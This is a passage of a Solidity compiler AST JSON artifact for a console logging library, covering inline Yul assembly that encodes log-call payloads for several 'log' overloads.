74:37:22","nodeType":"YulVariableDeclaration","src":"203974:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"203991:3:22","nodeType":"YulLiteral","src":"203991:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"204000:1:22","nodeType":"YulLiteral","src":"204000:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"204003:6:22","nodeType":"YulIdentifier","src":"204003:6:22"}],"functionName":{"name":"shl","nativeSrc":"203996:3:22","nodeType":"YulIdentifier","src":"203996:3:22"},"nativeSrc":"203996:14:22","nodeType":"YulFunctionCall","src":"203996:14:22"}],"functionName":{"name":"sub","nativeSrc":"203987:3:22","nodeType":"YulIdentifier","src":"203987:3:22"},"nativeSrc":"203987:24:22","nodeType":"YulFunctionCall","src":"203987:24:22"},"variables":[{"name":"shift","nativeSrc":"203978:5:22","nodeType":"YulTypedName","src":"203978:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"204039:3:22","nodeType":"YulIdentifier","src":"204039:3:22"},{"kind":"number","nativeSrc":"204044:4:22","nodeType":"YulLiteral","src":"204044:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"204035:3:22","nodeType":"YulIdentifier","src":"204035:3:22"},"nativeSrc":"204035:14:22","nodeType":"YulFunctionCall","src":"204035:14:22"},{"arguments":[{"name":"shift","nativeSrc":"204055:5:22","nodeType":"YulIdentifier","src":"204055:5:22"},{"arguments":[{"name":"shift","nativeSrc":"204066:5:22","nodeType":"YulIdentifier","src":"204066:5:22"},{"name":"w","nativeSrc":"204073:1:22","nodeType":"YulIdentifier","src":"204073:1:22"}],"functionName":{"name":"shr","nativeSrc":"204062:3:22","nodeType":"YulIdentifier","src":"204062:3:22"},"nativeSrc":"204062:13:22","nodeType":"YulFunctionCall","src":"204062:13:22"}],"functionName":{"name":"shl","nativeSrc":"204051:3:22","nodeType":"YulIdentifier","src":"204051:3:22"},"nativeSrc":"204051:25:22","nodeType":"YulFunctionCall","src":"204051:25:22"}],"functionName":{"name":"mstore","nativeSrc":"204028:6:22","nodeType":"YulIdentifier","src":"204028:6:22"},"nativeSrc":"204028:49:22","nodeType":"YulFunctionCall","src":"204028:49:22"},"nativeSrc":"204028:49:22","nodeType":"YulExpressionStatement","src":"204028:49:22"}]},"name":"writeString","nativeSrc":"203749:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"203770:3:22","nodeType":"YulTypedName","src":"203770:3:22","type":""},{"name":"w","nativeSrc":"203775:1:22","nodeType":"YulTypedName","src":"203775:1:22","type":""}],"src":"203749:342:22"},{"nativeSrc":"204104:17:22","nodeType":"YulAssignment","src":"204104:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204116:4:22","nodeType":"YulLiteral","src":"204116:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"204110:5:22","nodeType":"YulIdentifier","src":"204110:5:22"},"nativeSrc":"204110:11:22","nodeType":"YulFunctionCall","src":"204110:11:22"},"variableNames":[{"name":"m0","nativeSrc":"204104:2:22","nodeType":"YulIdentifier","src":"204104:2:22"}]},{"nativeSrc":"204134:17:22","nodeType":"YulAssignment","src":"204134:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204146:4:22","nodeType":"YulLiteral","src":"204146:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"204140:5:22","nodeType":"YulIdentifier","src":"204140:5:22"},"nativeSrc":"204140:11:22","nodeType":"YulFunctionCall","src":"204140:11:22"},"variableNames":[{"name":"m1","nativeSrc":"204134:2:22","nodeType":"YulIdentifier","src":"204134:2:22"}]},{"nativeSrc":"204164:17:22","nodeType":"YulAssignment","src":"204164:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204176:4:22","nodeType":"YulLiteral","src":"204176:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"204170:5:22","nodeType":"YulIdentifier","src":"204170:5:22"},"nativeSrc":"204170:11:22","nodeType":"YulFunctionCall","src":"204170:11:22"},"variableNames":[{"name":"m2","nativeSrc":"204164:2:22","nodeType":"YulIdentifier","src":"204164:2:22"}]},{"nativeSrc":"204194:17:22","nodeType":"YulAssignment","src":"204194:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204206:4:22","nodeType":"YulLiteral","src":"204206:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"204200:5:22","nodeType":"YulIdentifier","src":"204200:5:22"},"nativeSrc":"204200:11:22","nodeType":"YulFunctionCall","src":"204200:11:22"},"variableNames":[{"name":"m3","nativeSrc":"204194:2:22","nodeType":"YulIdentifier","src":"204194:2:22"}]},{"nativeSrc":"204224:17:22","nodeType":"YulAssignment","src":"204224:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204236:4:22","nodeType":"YulLiteral","src":"204236:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"204230:5:22","nodeType":"YulIdentifier","src":"204230:5:22"},"nativeSrc":"204230:11:22","nodeType":"YulFunctionCall","src":"204230:11:22"},"variableNames":[{"name":"m4","nativeSrc":"204224:2:22","nodeType":"YulIdentifier","src":"204224:2:22"}]},{"nativeSrc":"204254:17:22","nodeType":"YulAssignment","src":"204254:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204266:4:22","nodeType":"YulLiteral","src":"204266:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"204260:5:22","nodeType":"YulIdentifier","src":"204260:5:22"},"nativeSrc":"204260:11:22","nodeType":"YulFunctionCall","src":"204260:11:22"},"variableNames":[{"name":"m5","nativeSrc":"204254:2:22","nodeType":"YulIdentifier","src":"204254:2:22"}]},{"nativeSrc":"204284:17:22","nodeType":"YulAssignment","src":"204284:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"204296:4:22","nodeType":"YulLiteral","src":"204296:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"204290:5:22","nodeType":"YulIdentifier","src":"204290:5:22"},"nativeSrc":"204290:11:22","nodeType":"YulFunctionCall","src":"204290:11:22"},"variableNames":[{"name":"m6","nativeSrc":"204284:2:22","nodeType":"YulIdentifier","src":"204284:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204384:4:22","nodeType":"YulLiteral","src":"204384:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"204390:10:22","nodeType":"YulLiteral","src":"204390:10:22","type":"","value":"0x6a1199e2"}],"functionName":{"name":"mstore","nativeSrc":"204377:6:22","nodeType":"YulIdentifier","src":"204377:6:22"},"nativeSrc":"204377:24:22","nodeType":"YulFunctionCall","src":"204377:24:22"},"nativeSrc":"204377:24:22","nodeType":"YulExpressionStatement","src":"204377:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204421:4:22","nodeType":"YulLiteral","src":"204421:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"204427:2:22","nodeType":"YulIdentifier","src":"204427:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204414:6:22","nodeType":"YulIdentifier","src":"204414:6:22"},"nativeSrc":"204414:16:22","nodeType":"YulFunctionCall","src":"204414:16:22"},"nativeSrc":"204414:16:22","nodeType":"YulExpressionStatement","src":"204414:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204450:4:22","nodeType":"YulLiteral","src":"204450:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"204456:2:22","nodeType":"YulIdentifier","src":"204456:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204443:6:22","nodeType":"YulIdentifier","src":"204443:6:22"},"nativeSrc":"204443:16:22","nodeType":"YulFunctionCall","src":"204443:16:22"},"nativeSrc":"204443:16:22","nodeType":"YulExpressionStatement","src":"204443:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204479:4:22","nodeType":"YulLiteral","src":"204479:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"204485:4:22","nodeType":"YulLiteral","src":"204485:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"204472:6:22","nodeType":"YulIdentifier","src":"204472:6:22"},"nativeSrc":"204472:18:22","nodeType":"YulFunctionCall","src":"204472:18:22"},"nativeSrc":"204472:18:22","nodeType":"YulExpressionStatement","src":"204472:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204510:4:22","nodeType":"YulLiteral","src":"204510:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"204516:2:22","nodeType":"YulIdentifier","src":"204516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204503:6:22","nodeType":"YulIdentifier","src":"204503:6:22"},"nativeSrc":"204503:16:22","nodeType":"YulFunctionCall","src":"204503:16:22"},"nativeSrc":"204503:16:22","nodeType":"YulExpressionStatement","src":"204503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204544:4:22","nodeType":"YulLiteral","src":"204544:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"204550:2:22","nodeType":"YulIdentifier","src":"204550:2:22"}],"functionName":{"name":"writeString","nativeSrc":"204532:11:22","nodeType":"YulIdentifier","src":"204532:11:22"},"nativeSrc":"204532:21:22","nodeType":"YulFunctionCall","src":"204532:21:22"},"nativeSrc":"204532:21:22","nodeType":"YulExpressionStatement","src":"204532:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40512,"isOffset":false,"isSlot":false,"src":"204104:2:22","valueSize":1},{"declaration":40515,"isOffset":false,"isSlot":false,"src":"204134:2:22","valueSize":1},{"declaration":40518,"isOffset":false,"isSlot":false,"src":"204164:2:22","valueSize":1},{"declaration":40521,"isOffset":false,"isSlot":false,"src":"204194:2:22","valueSize":1},{"declaration":40524,"isOffset":false,"isSlot":false,"src":"204224:2:22","valueSize":1},{"declaration":40527,"isOffset":false,"isSlot":false,"src":"204254:2:22","valueSize":1},{"declaration":40530,"isOffset":false,"isSlot":false,"src":"204284:2:22","valueSize":1},{"declaration":40502,"isOffset":false,"isSlot":false,"src":"204427:2:22","valueSize":1},{"declaration":40504,"isOffset":false,"isSlot":false,"src":"204456:2:22","valueSize":1},{"declaration":40506,"isOffset":false,"isSlot":false,"src":"204550:2:22","valueSize":1},{"declaration":40508,"isOffset":false,"isSlot":false,"src":"204516:2:22","valueSize":1}],"id":40532,"nodeType":"InlineAssembly","src":"203726:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40534,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"204588:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40535,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"204594:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40533,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"204572:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"204572:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40537,"nodeType":"ExpressionStatement","src":"204572:27:22"},{"AST":{"nativeSrc":"204618:214:22","nodeType":"YulBlock","src":"204618:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"204639:4:22","nodeType":"YulLiteral","src":"204639:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"204645:2:22","nodeType":"YulIdentifier","src":"204645:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204632:6:22","nodeType":"YulIdentifier","src":"204632:6:22"},"nativeSrc":"204632:16:22","nodeType":"YulFunctionCall","src":"204632:16:22"},"nativeSrc":"204632:16:22","nodeType":"YulExpressionStatement","src":"204632:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204668:4:22","nodeType":"YulLiteral","src":"204668:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"204674:2:22","nodeType":"YulIdentifier","src":"204674:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204661:6:22","nodeType":"YulIdentifier","src":"204661:6:22"},"nativeSrc":"204661:16:22","nodeType":"YulFunctionCall","src":"204661:16:22"},"nativeSrc":"204661:16:22","nodeType":"YulExpressionStatement","src":"204661:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204697:4:22","nodeType":"YulLiteral","src":"204697:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"204703:2:22","nodeType":"YulIdentifier","src":"204703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204690:6:22","nodeType":"YulIdentifier","src":"204690:6:22"},"nativeSrc":"204690:16:22","nodeType":"YulFunctionCall","src":"204690:16:22"},"nativeSrc":"204690:16:22","nodeType":"YulExpressionStatement","src":"204690:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204726:4:22","nodeType":"YulLiteral","src":"204726:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"204732:2:22","nodeType":"YulIdentifier","src":"204732:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204719:6:22","nodeType":"YulIdentifier","src":"204719:6:22"},"nativeSrc":"204719:16:22","nodeType":"YulFunctionCall","src":"204719:16:22"},"nativeSrc":"204719:16:22","nodeType":"YulExpressionStatement","src":"204719:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204755:4:22","nodeType":"YulLiteral","src":"204755:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"204761:2:22","nodeType":"YulIdentifier","src":"204761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204748:6:22","nodeType":"YulIdentifier","src":"204748:6:22"},"nativeSrc":"204748:16:22","nodeType":"YulFunctionCall","src":"204748:16:22"},"nativeSrc":"204748:16:22","nodeType":"YulExpressionStatement","src":"204748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204784:4:22","nodeType":"YulLiteral","src":"204784:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"204790:2:22","nodeType":"YulIdentifier","src":"204790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204777:6:22","nodeType":"YulIdentifier","src":"204777:6:22"},"nativeSrc":"204777:16:22","nodeType":"YulFunctionCall","src":"204777:16:22"},"nativeSrc":"204777:16:22","nodeType":"YulExpressionStatement","src":"204777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"204813:4:22","nodeType":"YulLiteral","src":"204813:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"204819:2:22","nodeType":"YulIdentifier","src":"204819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"204806:6:22","nodeType":"YulIdentifier","src":"204806:6:22"},"nativeSrc":"204806:16:22","nodeType":"YulFunctionCall","src":"204806:16:22"},"nativeSrc":"204806:16:22","nodeType":"YulExpressionStatement","src":"204806:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40512,"isOffset":false,"isSlot":false,"src":"204645:2:22","valueSize":1},{"declaration":40515,"isOffset":false,"isSlot":false,"src":"204674:2:22","valueSize":1},{"declaration":40518,"isOffset":false,"isSlot":false,"src":"204703:2:22","valueSize":1},{"declaration":40521,"isOffset":false,"isSlot":false,"src":"204732:2:22","valueSize":1},{"declaration":40524,"isOffset":false,"isSlot":false,"src":"204761:2:22","valueSize":1},{"declaration":40527,"isOffset":false,"isSlot":false,"src":"204790:2:22","valueSize":1},{"declaration":40530,"isOffset":false,"isSlot":false,"src":"204819:2:22","valueSize":1}],"id":40538,"nodeType":"InlineAssembly","src":"204609:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"203513:3:22","parameters":{"id":40509,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40502,"mutability":"mutable","name":"p0","nameLocation":"203522:2:22","nodeType":"VariableDeclaration","scope":40540,"src":"203517:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40501,"name":"bool","nodeType":"ElementaryTypeName","src":"203517:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40504,"mutability":"mutable","name":"p1","nameLocation":"203534:2:22","nodeType":"VariableDeclaration","scope":40540,"src":"203526:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40503,"name":"uint256","nodeType":"ElementaryTypeName","src":"203526:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40506,"mutability":"mutable","name":"p2","nameLocation":"203546:2:22","nodeType":"VariableDeclaration","scope":40540,"src":"203538:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40505,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203538:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40508,"mutability":"mutable","name":"p3","nameLocation":"203558:2:22","nodeType":"VariableDeclaration","scope":40540,"src":"203550:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40507,"name":"uint256","nodeType":"ElementaryTypeName","src":"203550:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"203516:45:22"},"returnParameters":{"id":40510,"nodeType":"ParameterList","parameters":[],"src":"203576:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40586,"nodeType":"FunctionDefinition","src":"204844:1530:22","nodes":[],"body":{"id":40585,"nodeType":"Block","src":"204916:1458:22","nodes":[],"statements":[{"assignments":[40552],"declarations":[{"constant":false,"id":40552,"mutability":"mutable","name":"m0","nameLocation":"204934:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"204926:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40551,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204926:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40553,"nodeType":"VariableDeclarationStatement","src":"204926:10:22"},{"assignments":[40555],"declarations":[{"constant":false,"id":40555,"mutability":"mutable","name":"m1","nameLocation":"204954:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"204946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204946:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40556,"nodeType":"VariableDeclarationStatement","src":"204946:10:22"},{"assignments":[40558],"declarations":[{"constant":false,"id":40558,"mutability":"mutable","name":"m2","nameLocation":"204974:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"204966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204966:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40559,"nodeType":"VariableDeclarationStatement","src":"204966:10:22"},{"assignments":[40561],"declarations":[{"constant":false,"id":40561,"mutability":"mutable","name":"m3","nameLocation":"204994:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"204986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40560,"name":"bytes32","nodeType":"ElementaryTypeName","src":"204986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40562,"nodeType":"VariableDeclarationStatement","src":"204986:10:22"},{"assignments":[40564],"declarations":[{"constant":false,"id":40564,"mutability":"mutable","name":"m4","nameLocation":"205014:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"205006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40563,"name":"bytes32","nodeType":"ElementaryTypeName","src":"205006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40565,"nodeType":"VariableDeclarationStatement","src":"205006:10:22"},{"assignments":[40567],"declarations":[{"constant":false,"id":40567,"mutability":"mutable","name":"m5","nameLocation":"205034:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"205026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"205026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40568,"nodeType":"VariableDeclarationStatement","src":"205026:10:22"},{"assignments":[40570],"declarations":[{"constant":false,"id":40570,"mutability":"mutable","name":"m6","nameLocation":"205054:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"205046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40569,"name":"bytes32","nodeType":"ElementaryTypeName","src":"205046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40571,"nodeType":"VariableDeclarationStatement","src":"205046:10:22"},{"assignments":[40573],"declarations":[{"constant":false,"id":40573,"mutability":"mutable","name":"m7","nameLocation":"205074:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"205066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40572,"name":"bytes32","nodeType":"ElementaryTypeName","src":"205066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40574,"nodeType":"VariableDeclarationStatement","src":"205066:10:22"},{"assignments":[40576],"declarations":[{"constant":false,"id":40576,"mutability":"mutable","name":"m8","nameLocation":"205094:2:22","nodeType":"VariableDeclaration","scope":40585,"src":"205086:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"205086:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40577,"nodeType":"VariableDeclarationStatement","src":"205086:10:22"},{"AST":{"nativeSrc":"205115:924:22","nodeType":"YulBlock","src":"205115:924:22","statements":[{"body":{"nativeSrc":"205158:313:22","nodeType":"YulBlock","src":"205158:313:22","statements":[{"nativeSrc":"205176:15:22","nodeType":"YulVariableDeclaration","src":"205176:15:22","value":{"kind":"number","nativeSrc":"205190:1:22","nodeType":"YulLiteral","src":"205190:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"205180:6:22","nodeType":"YulTypedName","src":"205180:6:22","type":""}]},{"body":{"nativeSrc":"205261:40:22","nodeType":"YulBlock","src":"205261:40:22","statements":[{"body":{"nativeSrc":"205290:9:22","nodeType":"YulBlock","src":"205290:9:22","statements":[{"nativeSrc":"205292:5:22","nodeType":"YulBreak","src":"205292:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"205278:6:22","nodeType":"YulIdentifier","src":"205278:6:22"},{"name":"w","nativeSrc":"205286:1:22","nodeType":"YulIdentifier","src":"205286:1:22"}],"functionName":{"name":"byte","nativeSrc":"205273:4:22","nodeType":"YulIdentifier","src":"205273:4:22"},"nativeSrc":"205273:15:22","nodeType":"YulFunctionCall","src":"205273:15:22"}],"functionName":{"name":"iszero","nativeSrc":"205266:6:22","nodeType":"YulIdentifier","src":"205266:6:22"},"nativeSrc":"205266:23:22","nodeType":"YulFunctionCall","src":"205266:23:22"},"nativeSrc":"205263:36:22","nodeType":"YulIf","src":"205263:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"205218:6:22","nodeType":"YulIdentifier","src":"205218:6:22"},{"kind":"number","nativeSrc":"205226:4:22","nodeType":"YulLiteral","src":"205226:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"205215:2:22","nodeType":"YulIdentifier","src":"205215:2:22"},"nativeSrc":"205215:16:22","nodeType":"YulFunctionCall","src":"205215:16:22"},"nativeSrc":"205208:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"205232:28:22","nodeType":"YulBlock","src":"205232:28:22","statements":[{"nativeSrc":"205234:24:22","nodeType":"YulAssignment","src":"205234:24:22","value":{"arguments":[{"name":"length","nativeSrc":"205248:6:22","nodeType":"YulIdentifier","src":"205248:6:22"},{"kind":"number","nativeSrc":"205256:1:22","nodeType":"YulLiteral","src":"205256:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"205244:3:22","nodeType":"YulIdentifier","src":"205244:3:22"},"nativeSrc":"205244:14:22","nodeType":"YulFunctionCall","src":"205244:14:22"},"variableNames":[{"name":"length","nativeSrc":"205234:6:22","nodeType":"YulIdentifier","src":"205234:6:22"}]}]},"pre":{"nativeSrc":"205212:2:22","nodeType":"YulBlock","src":"205212:2:22","statements":[]},"src":"205208:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"205325:3:22","nodeType":"YulIdentifier","src":"205325:3:22"},{"name":"length","nativeSrc":"205330:6:22","nodeType":"YulIdentifier","src":"205330:6:22"}],"functionName":{"name":"mstore","nativeSrc":"205318:6:22","nodeType":"YulIdentifier","src":"205318:6:22"},"nativeSrc":"205318:19:22","nodeType":"YulFunctionCall","src":"205318:19:22"},"nativeSrc":"205318:19:22","nodeType":"YulExpressionStatement","src":"205318:19:22"},{"nativeSrc":"205354:37:22","nodeType":"YulVariableDeclaration","src":"205354:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"205371:3:22","nodeType":"YulLiteral","src":"205371:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"205380:1:22","nodeType":"YulLiteral","src":"205380:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"205383:6:22","nodeType":"YulIdentifier","src":"205383:6:22"}],"functionName":{"name":"shl","nativeSrc":"205376:3:22","nodeType":"YulIdentifier","src":"205376:3:22"},"nativeSrc":"205376:14:22","nodeType":"YulFunctionCall","src":"205376:14:22"}],"functionName":{"name":"sub","nativeSrc":"205367:3:22","nodeType":"YulIdentifier","src":"205367:3:22"},"nativeSrc":"205367:24:22","nodeType":"YulFunctionCall","src":"205367:24:22"},"variables":[{"name":"shift","nativeSrc":"205358:5:22","nodeType":"YulTypedName","src":"205358:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"205419:3:22","nodeType":"YulIdentifier","src":"205419:3:22"},{"kind":"number","nativeSrc":"205424:4:22","nodeType":"YulLiteral","src":"205424:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"205415:3:22","nodeType":"YulIdentifier","src":"205415:3:22"},"nativeSrc":"205415:14:22","nodeType":"YulFunctionCall","src":"205415:14:22"},{"arguments":[{"name":"shift","nativeSrc":"205435:5:22","nodeType":"YulIdentifier","src":"205435:5:22"},{"arguments":[{"name":"shift","nativeSrc":"205446:5:22","nodeType":"YulIdentifier","src":"205446:5:22"},{"name":"w","nativeSrc":"205453:1:22","nodeType":"YulIdentifier","src":"205453:1:22"}],"functionName":{"name":"shr","nativeSrc":"205442:3:22","nodeType":"YulIdentifier","src":"205442:3:22"},"nativeSrc":"205442:13:22","nodeType":"YulFunctionCall","src":"205442:13:22"}],"functionName":{"name":"shl","nativeSrc":"205431:3:22","nodeType":"YulIdentifier","src":"205431:3:22"},"nativeSrc":"205431:25:22","nodeType":"YulFunctionCall","src":"205431:25:22"}],"functionName":{"name":"mstore","nativeSrc":"205408:6:22","nodeType":"YulIdentifier","src":"205408:6:22"},"nativeSrc":"205408:49:22","nodeType":"YulFunctionCall","src":"205408:49:22"},"nativeSrc":"205408:49:22","nodeType":"YulExpressionStatement","src":"205408:49:22"}]},"name":"writeString","nativeSrc":"205129:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"205150:3:22","nodeType":"YulTypedName","src":"205150:3:22","type":""},{"name":"w","nativeSrc":"205155:1:22","nodeType":"YulTypedName","src":"205155:1:22","type":""}],"src":"205129:342:22"},{"nativeSrc":"205484:17:22","nodeType":"YulAssignment","src":"205484:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"205496:4:22","nodeType":"YulLiteral","src":"205496:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"205490:5:22","nodeType":"YulIdentifier","src":"205490:5:22"},"nativeSrc":"205490:11:22","nodeType":"YulFunctionCall","src":"205490:11:22"},"variableNames":[{"name":"m0","nativeSrc":"205484:2:22","nodeType":"YulIdentifier","src":"205484:2:22"}]},{"nativeSrc":"205514:17:22","nodeType":"